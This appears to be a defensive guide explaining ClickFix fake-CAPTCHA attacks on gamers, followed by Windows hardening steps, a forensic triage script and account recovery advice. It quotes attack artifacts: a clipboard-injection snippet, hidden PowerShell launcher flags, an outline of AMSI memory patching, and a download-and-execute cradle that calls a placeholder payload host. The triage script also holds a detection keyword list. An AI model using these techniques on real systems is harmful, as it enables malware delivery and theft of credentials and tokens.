ClickFix Social Engineering: Fake CAPTCHAs, Clipboard Hijacking, and PowerShell Attacks in Gaming

Introduction: The Evolution of "ClickFix" in Gaming Communities

In modern PC gaming, community hubs, modding repositories, shader distribution forums, and game-troubleshooting sites are frequent targets for cybercriminals. For years, the primary delivery mechanism for gaming malware was direct executable downloads disguised as game cracks, aimbots, or mod installers. However, modern web browsers (Chrome, Edge, Firefox) and operating systems have deployed aggressive multi-layered defenses: automated file reputation scoring (SmartScreen), anti-phishing telemetry, sandboxed downloads, and mandatory user confirmation dialogs.

To bypass these browser-level security barriers entirely, threat actors developed an evasive social engineering tactic known as ClickFix (also referred to as "Fake CAPTCHA" or "Clipboard-to-Run" execution). Instead of forcing the user to download an untrusted .exe or .zip file from the web, ClickFix convinces the player to execute a malicious, obfuscated PowerShell command directly inside their own Windows operating system using the native Run dialog (Win + R) or Windows Terminal.

Because the user executes the command locally through legitimate built-in administrative tools, no browser download event is recorded, no file enters the Downloads directory, and web-based file quarantine mechanisms are completely bypassed. This guide deconstructs the anatomical execution chain of ClickFix attacks, examines how memory-only payloads bypass AMSI, and provides a systematic detection and remediation framework for gamers.

The ClickFix Attack Chain: From Webhook Lure to Memory Execution

The attack lifecycle follows a rigid, highly deceptive sequence engineered to exploit player impatience when seeking mod fixes, game cracks, or anti-cheat bypasses:

[1. User visits compromised / SEO-poisoned gaming page (e.g., "Grand Theft Auto VI Beta", "DLSS 3.5 Mod", "Shader Fix")]
                                |
                                v
[2. Fake Verification Modal Injected: "Verify you are human" (Mimicking Cloudflare Turnstile or Google reCAPTCHA)]
                                |
                                v
[3. Browser DOM Event: JavaScript calls navigator.clipboard.writeText(...) to silently load malicious payload into clipboard]
                                |
                                v
[4. Social Engineering Prompt: "Press Win + R, then press Ctrl + V, then hit Enter to verify your browser token"]
                                |
                                v
[5. User executes command in Windows Run dialog (explorer.exe launches powershell.exe / cmd.exe with user privileges)]
                                |
                                v
[6. Obfuscated PowerShell: AMSI Memory Patching -> Downloads Stage 2 Payload (Lumma/RedLine/Stealc infostealer)]
                                |
                                v
[7. Exfiltration: Gaming session cookies, Discord tokens, Steam credentials transmitted to attacker C2 / Telegram bot]

Phase 1: The Gaming Lures

Attackers deploy ClickFix templates across hundreds of disposable domains optimized for search queries such as:

• "Black Myth: Wukong FPS drop fix dll"
• "Cyberpunk 2077 Phantom Liberty free DLC unlocker"
• "Valorant Vanguard bypass 2026"
• "Roblox executor download"
• "Discord Nitro free claim portal"

Phase 2: The Deceptive Captcha Overlay

When the gamer clicks the download button, the site does not deliver a file. Instead, the page darkens and displays an HTML/CSS overlay perfectly replicating official Cloudflare Turnstile, hCaptcha, or Google reCAPTCHA widgets:

• The widget displays: "Cloudflare Verification: Confirm you are not a robot".
• When the victim clicks "Verify", a failure sound or mock loading spinner appears, followed by step-by-step instructions:
  1. Press Windows Key + R on your keyboard.
  2. Press Ctrl + V.
  3. Press Enter.
• Other variations frame the prompt as a system repair utility: "DirectX 12 Runtime Missing. Copy the repair script below into PowerShell to enable instant download."

Phase 3: Silent Clipboard Injection

While the user reads the modal, a background JavaScript event executes:

// Malicious script automatically populates the OS clipboard
const payload = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Enc JABjAGwAaQBlAG4AdAAg... ";
navigator.clipboard.writeText(payload);

In many Chromium-based browsers, invoking navigator.clipboard.writeText() within a direct user interaction event (such as clicking the fake "Verify" button) succeeds immediately without displaying an operating system permission prompt. The user believes they are merely clicking a checkbox, unaware that their system clipboard now holds a weaponized shell command.

Technical Deconstruction: The Malicious PowerShell Payload

When the victim presses Win + R, pastes, and hits Enter, the command string executed by explorer.exe typically exhibits four layered stages:

1. Window Hiding and Execution Policy Bypass

The launcher script begins with evasion parameters:

  # Typical ClickFix initial launcher command
  powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "..."

• -ExecutionPolicy Bypass: Overrides default Windows restrictions that prevent unsigned PowerShell script execution. (Note: Execution policy is a safety guardrail, not a security boundary; it only applies to .ps1 files, not direct -Command arguments).
• -WindowStyle Hidden: Minimizes and hides the command prompt window within milliseconds, leaving the user with the impression that the "verification" succeeded silently in the background.

2. In-Memory AMSI (Antimalware Scan Interface) Patching

Before downloading the secondary executable, modern infostealers must defeat Windows Defender's Antimalware Scan Interface (AMSI). AMSI evaluates script content in memory before execution.

Attackers employ in-memory patching techniques against amsi.dll:

• The script locates the memory address of the exported function AmsiScanBuffer in amsi.dll.
• Using native Windows APIs (VirtualProtect), it modifies the memory page permissions from read-only to read-write-execute (PAGE_EXECUTE_READWRITE).
• It overwrites the first few assembly bytes of AmsiScanBuffer with a return opcode sequence:

  mov eax, 0x80070057  ; E_INVALIDARG error code
  ret
  

• Any subsequent buffer passed to AmsiScanBuffer returns an immediate error or AMSI_RESULT_CLEAN, effectively blinding Microsoft Defender and third-party endpoint protection for the remainder of that PowerShell process.

3. Stage 2 Fetch and Memory Injection

Once AMSI is neutralised, PowerShell downloads the primary payload using Net.WebClient, Invoke-WebRequest, or bitsadmin:

  # In-memory download and execution cradle
  $data = (New-Object Net.WebClient).DownloadData('https://cdn-static-payload.example/games/loader.bin');
  [System.Reflection.Assembly]::Load($data).EntryPoint.Invoke($null, $null);

Because the payload is loaded directly into the PowerShell runtime via [System.Reflection.Assembly]::Load or injected into a sacrificial system process (such as MSBuild.exe, RegSvcs.exe, or svchost.exe) via process hollowing, no binary file is written to the hard drive.

4. Gaming Credential Exfiltration

The final infostealer payload (commonly Lumma, Stealc, or Vidar) focuses heavily on gaming assets:

• Session Tokens: Extracts steamLoginSecure and sessionid cookies from Chrome, Edge, Brave, and Firefox profiles.
• Discord Tokens: Sweeps %APPDATA%\discord\Local Storage\leveldb for Discord authorization tokens.
• Game Launchers: Extracts login tokens for Epic Games Launcher, Battle.net, Riot Client, and EA Desktop.
• Cryptocurrency Wallets: Scans browser extensions for MetaMask, Phantom, and Steam Trade inventory assets.
• Exfiltration: Archives the collected credentials into a password-protected zip file and posts it to a Telegram bot API or encrypted C2 server over HTTPS.

ClickFix Threat Matrix: Attack Lures vs. Technical Artifacts

Defensive Engineering: Hardening Windows Against ClickFix

Gamers and system administrators can implement systemic configurations to neutralize ClickFix attacks before they execute:

1. Enable PowerShell Script Block Logging (Event ID 4104)

By default, Windows does not log the complete code executed inside interactive PowerShell commands. Enabling Deep Script Block Logging records full script bodies—even obfuscated or dynamically unpacked commands—in the Windows Event Log:

• Open gpedit.msc (Local Group Policy Editor).
• Navigate to: Computer Configuration -> Administrative Templates -> Windows Components -> Windows PowerShell.
• Enable Turn on PowerShell Script Block Logging.

2. Configure PowerShell Constrained Language Mode (CLM)

Constrained Language Mode restricts PowerShell to basic commands, completely disabling access to .NET reflection ([System.Reflection.Assembly]), COM objects, and direct memory manipulation (VirtualProtect), rendering 99% of infostealer cradles inoperable:

• Set the system environment variable __PSLockdownPolicy to 4.

3. Restrict mshta.exe and Script Interpreters via AppLocker / WDAC

Attackers frequently use mshta.exe (Microsoft HTML Application Host) to execute remote VBScript or JScript without launching PowerShell:

• Block or audit mshta.exe, wscript.exe, and cscript.exe using Windows Defender Application Control (WDAC) if they are not required for legacy software.

PowerShell Incident Response Script: Detecting ClickFix Compromise

If you suspect you pasted a ClickFix command, immediately disconnect your PC from the Internet and execute the following PowerShell diagnostic to audit execution history, scan event logs, and identify persistence hooks:

  # ClickFix Forensic Audit & Compromise Triage Script
  Write-Host "=== ClickFix Forensic Audit and Triage ===" -ForegroundColor Cyan
  
  # 1. Audit PowerShell Console History
  $historyPath = "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
  if (Test-Path $historyPath) {
      Write-Host "`n[1] Inspecting Recent PowerShell Console History..." -ForegroundColor Yellow
      $suspiciousPatterns = @("DownloadString", "DownloadData", "AmsiScanBuffer", "-enc", "-EncodedCommand", "mshta", "hidden", "bypass")
      $historyLines = Get-Content -Path $historyPath -Tail 50
      foreach ($line in $historyLines) {
          foreach ($pattern in $suspiciousPatterns) {
              if ($line -match $pattern) {
                  Write-Host "  [SUSPICIOUS COMMAND DETECTED]: $line" -ForegroundColor Red
                  break
              }
          }
      }
  }
  
  # 2. Audit Windows Run Dialog History (MRU)
  Write-Host "`n[2] Checking Windows Run Dialog MRU Registry Keys..." -ForegroundColor Yellow
  $runMruPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
  if (Test-Path $runMruPath) {
      $mruEntries = Get-ItemProperty -Path $runMruPath
      $mruEntries.PSObject.Properties | Where-Object { $_.Name -match "^[a-z]$" } | ForEach-Object {
          if ($_.Value -match "powershell|cmd|mshta|curl|bitsadmin") {
              Write-Host "  [ALERT: Suspicious Run MRU Entry]: $($_.Name) = $($_.Value)" -ForegroundColor Red
          } else {
              Write-Host "  [Normal Entry]: $($_.Name) = $($_.Value)" -ForegroundColor Gray
          }
      }
  }
  
  # 3. Check Startup Persistence Keys
  Write-Host "`n[3] Auditing User Startup Registry Persistence..." -ForegroundColor Yellow
  $runKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
  Get-ItemProperty -Path $runKey | Select-Object -Property * -ExcludeProperty PS* | Out-String | Write-Host -ForegroundColor Cyan

Post-Compromise Recovery Protocol for Gamers

If the diagnostic reveals that a ClickFix script executed on your system:

1. Sever Network Connectivity Immediately: Unplug your Ethernet cable or disable Wi-Fi to stop active credential exfiltration.
2. Invalidate Active Web and Gaming Sessions from a Clean Device:
   • Access Steam from a smartphone or secondary PC: Go to Steam Settings -> Security -> Deauthorize All Other Devices. This immediately invalidates the stolen steamLoginSecure cookies.
   • Access Discord: Reset your password. Resetting your Discord password instantly regenerates and revokes all active API tokens.
   • Access Google, Microsoft, and Epic Games accounts: Select "Sign out of all sessions" and rotate master passwords.
3. Reset Steam Web API Key: Navigate to https://steamcommunity.com/dev/apikey from a clean device. If an unauthorized domain is registered, revoke it instantly.
4. Perform an Offline Antivirus Scan: Use Microsoft Defender Offline or an external bootable rescue USB (e.g., Kaspersky Rescue Disk) to detect and remove dropped backdoor binaries.
5. Cultivate Security Awareness Through Engineering Knowledge: Real CAPTCHA verification services operate strictly within the browser sandboxed DOM; legitimate cloud security services will never instruct users to launch the Windows Run dialog or paste administrative terminal commands. Relying on verified technical knowledge repositories such as 365Finds empowers gamers to identify social engineering maneuvers, understand underlying operating system attack surfaces, and safeguard their digital libraries with confidence.

References

• Social Engineering (Security) - Wikipedia
• PowerShell - Wikipedia
• Malware - Wikipedia
• CAPTCHA - Wikipedia